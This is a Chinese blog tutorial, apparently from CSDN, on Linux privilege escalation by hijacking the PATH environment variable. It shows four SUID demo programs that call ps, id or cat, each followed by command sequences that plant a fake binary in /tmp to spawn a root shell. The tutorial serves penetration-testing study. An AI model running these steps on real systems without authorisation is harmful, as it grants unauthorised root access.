WEB渗透Linux提权篇-环境变量提权

往期文章

WEB渗透Linux提权篇-提权工具合集-CSDN博客

第一种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("ps");
  }

编译
>gcc demo.c -o shell
>chmod u+s shell
执行./shell  回显ps命令
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell
>cd /tmp
>echo "/bin/bash" > ps
>chmod 777 ps
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell
>whoami
或使用copy命令
>cd /home/raj/script/
>cp /bin/sh /tmp/ps
>echo $PATH
>export PATH=/tmp:$PATH
>./shell
>whoami
或使用ln命令
>ln -s /bin/sh ps
>export PATH=.:$PATH
>./shell
>id
第二种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("id");
  }

编译
>gcc test.c -o shell2
>chmod u+s shell2
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell2
>cd /tmp
>echo "/bin/bash" > id
>chmod 777 id
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell2
>whoami
第三种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /etc/passwd");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell3
>cd /tmp
>vi cat
内容为/bin/bash
>chmod 777 cat
>ls -al cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell3
>whoami
第四种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /home/raj/msg.txt");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell4
>cd /tmp
>vi cat
>chmod 777 cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell4
>whoami
相关推荐
巨斧空间掌门3 分钟前
JDK17 下载 windows Linux
linux·运维·服务器
AI+程序员在路上24 分钟前
CANopen 协议:介绍、调试命令与应用
linux·c语言·开发语言·网络
learndiary1 小时前
2026.03.12~2026.03.19制作的共7个视频及简介
linux·视频·学习日记小店
JiMoKuangXiangQu1 小时前
Linux:ARM64 中断处理简析
linux·arm64 中断
小生不才yz1 小时前
【Makefile 专家之路 | 函数篇】11. 终极奥义:eval 函数——动态生成规则的“核武器”
linux
皮卡蛋炒饭.1 小时前
进程得控制
linux·运维·服务器
YMWM_2 小时前
Install pyrealsense2 on the jetson thor
linux·realsense2
BestOrNothing_20153 小时前
(3)Ubuntu 22.04 双系统安装全过程记录
linux·ubuntu22.04·双系统安装
寂柒4 小时前
Linux——基础IO
linux
杨云龙UP4 小时前
Oracle ASM磁盘组空间分配与冗余理解
linux·运维·数据库·sql·oracle